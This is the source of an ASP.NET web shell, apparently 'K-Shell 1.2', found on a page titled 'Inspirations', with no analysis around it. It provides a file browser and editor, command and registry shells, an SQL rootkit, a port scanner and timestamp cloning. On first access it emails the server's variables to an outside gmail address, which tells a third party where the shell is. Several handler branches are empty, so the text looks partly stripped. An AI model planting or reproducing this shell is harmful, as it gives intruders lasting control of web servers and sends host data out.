Inspirations |
 |
<%@ Page ContentType="text/html" validateRequest="false" aspcompat="true"%>
<%@ Import Namespace="System.IO" %>
<%@ import namespace="System.Diagnostics" %>
<%@ import namespace="System.Threading" %>
<%@ import namespace="System.Text" %>
<%@ import namespace="System.Security.Cryptography" %>
<%@ Import Namespace="System.Net.Sockets"%>
<%@ Assembly Name="System.DirectoryServices, Version=2.0.0.0, Culture=neutral, PublicKeyToken=B03F5F7F11D50A3A" %>
<%@ import Namespace="System.DirectoryServices" %>
<%@ import Namespace="Microsoft.Win32" %>
<%
if request.QueryString("action")="down" and session("kikicoco")=1 then
downTheFile(request.QueryString("src"))
response.End()
end if
Dim act as string = request.QueryString("action")
if act="cmd" then
TITLE="CMD.NET"
elseif act="cmdw32" then
TITLE="ASP.NET W32 Shell"
elseif act="cmdwsh" then
TITLE="ASP.NET WSH Shell"
elseif act="sqlrootkit" then
TITLE="SqlRootKit.NET"
elseif act="clonetime" then
TITLE="Clone Time"
elseif act="information" then
TITLE="Web Server Info"
elseif act="goto" then
TITLE="K-Shell 1.2"
elseif act="pro1" then
TITLE="List processes from server"
elseif act="pro2" then
TITLE="List processes from server"
elseif act="user" then
TITLE="List User Accounts"
elseif act="applog" then
TITLE="List Application Event Log Entries"
elseif act="syslog" then
TITLE="List System Event Log Entries"
elseif act="auser" then
TITLE="IIS List Anonymous' User details"
elseif act="sqlman" then
TITLE="MSSQL Management"
elseif act="scan" then
TITLE="Port Scanner"
elseif act="iisspy" then
TITLE="IIS Spy"
elseif act="sqltool" then
TITLE="SQL Tool"
elseif act="regshell" then
TITLE="Registry Shell"
else
TITLE=request.ServerVariables("HTTP_HOST")
end if
%>
<%=TITLE%>
<%
Dim error_x as Exception
Try
if session("kikicoco")<>1 then
'Test sending anonymous mail, comment it if you don't want test it
dim info As String
Try
info = request.ServerVariables.ToString.Replace("%2f","/").Replace("%5c","\").Replace("%3a",":").Replace("%2c",",").Replace("%3b",";").Replace("%3d","=").Replace("%2b","+").Replace("%0d%0a",vbnewline)
System.Web.Mail.SmtpMail.SmtpServer = "localhost"
System.Web.Mail.SmtpMail.Send(request.ServerVariables("HTTP_HOST"),"test.mail.address.2008@gmail.com",request.ServerVariables("HTTP_HOST")+request.ServerVariables("URL"),info)
Catch
End Try
%>
<%
else
dim temp as string
temp=request.QueryString("action")
if temp="" then temp="goto"
select case temp
case "goto"
if request.QueryString("src")<>"" then
url=request.QueryString("src")
else
url=server.MapPath(".") & "\"
end if
call existdir(url)
dim xdir as directoryinfo
dim mydir as new DirectoryInfo(url)
dim guru as string
dim xfile as fileinfo
dim ServerIP As string = "Server IP : " + Request.ServerVariables("LOCAL_ADDR") + " - Client IP : " + getIP() + " - "
dim HostName As string = "HostName : " + Environment.MachineName + " - Username : "+ Environment.UserName +" "
dim OSVersion As string = "OS Version : " + Environment.OSVersion.ToString() + ""
dim IISversion As string = " - IIS Version : " + Request.ServerVariables("SERVER_SOFTWARE") + " System Dir : " + Environment.SystemDirectory + ""
dim PATH_INFO As string = " - PATH_TRANSLATED : " + Request.ServerVariables("PATH_TRANSLATED") + " "
dim HARDWARE_INFO As string = ""
Dim environmentVariables As IDictionary = Environment.GetEnvironmentVariables()
Dim de As DictionaryEntry
For Each de In environmentVariables
if de.Key = "NUMBER_OF_PROCESSORS" then
HARDWARE_INFO += "Hardware Info : " + de.Value + "CPU - "
end if
if de.Key = "PROCESSOR_IDENTIFIER" then
HARDWARE_INFO += de.Value + " "
end if
Next
Info.Text += ServerIP + HostName + OSVersion + IISversion + PATH_INFO + HARDWARE_INFO
%>
Name |
Size |
ModifyTime |
Operate |
<%
guru= " | |Parent Directory| | "
response.Write(guru)
for each xdir in mydir.getdirectories()
response.Write("")
dim filepath as string
filepath=server.UrlEncode(url & xdir.name)
guru= "" & xdir.name & " | "
response.Write(guru)
response.Write("<dir> | ")
response.Write("" & Directory.GetLastWriteTime(url & xdir.name) & " | ")
guru="Cut" & "|Copy|Del | "
response.Write(guru)
response.Write(" ")
next
%>
<%
for each xfile in mydir.getfiles()
dim filepath2 as string
filepath2=server.UrlEncode(url & xfile.name)
response.Write(" | ")
guru="" & xfile.name & " | "
response.Write(guru)
guru="" & GetSize(xfile.length) & " | "
response.Write(guru)
response.Write("" & file.GetLastWriteTime(url & xfile.name) & " | ")
guru="Edit|Cut|Copy|Rename|Download|Del | "
response.Write(guru)
response.Write(" ")
next
response.Write(" ")
%> |
<%
case "information"
dim CIP,CP as string
if getIP()<>request.ServerVariables("REMOTE_ADDR") then
CIP=getIP()
CP=request.ServerVariables("REMOTE_ADDR")
else
CIP=request.ServerVariables("REMOTE_ADDR")
CP="None"
end if
%>
[ Web Server Information ] Back
Server IP |
<%=request.ServerVariables("LOCAL_ADDR")%> |
Machine Name |
<%=Environment.MachineName%> |
Network Name |
<%=Environment.UserDomainName.ToString()%> |
User Name in this Process |
<%=Environment.UserName%> |
OS Version |
<%=Environment.OSVersion.ToString()%> |
Started Time |
<%=GetStartedTime(Environment.Tickcount)%> Hours |
System Time |
<%=now%> |
IIS Version |
<%=request.ServerVariables("SERVER_SOFTWARE")%> |
HTTPS |
<%=request.ServerVariables("HTTPS")%> |
PATH_INFO |
<%=request.ServerVariables("PATH_INFO")%> |
PATH_TRANSLATED |
<%=request.ServerVariables("PATH_TRANSLATED")%> |
SERVER_PORT |
<%=request.ServerVariables("SERVER_PORT")%> |
SeesionID |
<%=Session.SessionID%> |
Client Infomation |
Client Proxy |
<%=CP%> |
Client IP |
<%=CIP%> |
User |
<%=request.ServerVariables("HTTP_USER_AGENT")%> |
<% Create_table_row_with_supplied_colors("Black", "White", "center", "Environment Variables, Server Variables") %>
|
|
<%
case "cmd"
%>
<%
case "cmdw32"
%>
<%
case "cmdwsh"
%>
<%
case "pro1"
%>
<%
case "pro2"
%>
<%
case "user"
%>
<%
case "reg"
%>
<%
case "applog"
%>
<%
case "syslog"
%>
<%
case "auser"
%>
<%
case "scan"
%>
<%
case "iisspy"
%>
[ IIS Spy ] Back
<%
Try
Response.write(IISSpy())
Catch
rw("This function is disabled by server")
End Try
%>
<%
case "sqltool"
%>
[ SQL Tool ] Back
<%
Try
Catch
rw("This function is disabled by server")
End Try
%>
<%
case "regshell"
%>
<%
case "sqlman"
%>
<%
case "sqlrootkit"
%>
<%
%>
Go Back
<%
case "new"
url=request.QueryString("src")
%>
Go Back
<%
case "edit"
dim b as string
b=request.QueryString("src")
call existdir(b)
dim myread as new streamreader(b,encoding.default)
filepath.text=b
content.text=myread.readtoend
%>
Go Back
<%
myread.close
case "rename"
url=request.QueryString("src")
if request.Form("name")="" then
%>
Go Back
<%
else
if Rename() then
response.Write("")
else
response.Write("")
end if
end if
case "samename"
url=request.QueryString("src")
%>
Go Back
<%
case "clonetime"
time1.Text=request.QueryString("src")&"kshell.aspx"
time2.Text=request.QueryString("src")
%>
<%
case "logout"
session.Abandon()
response.Write("
|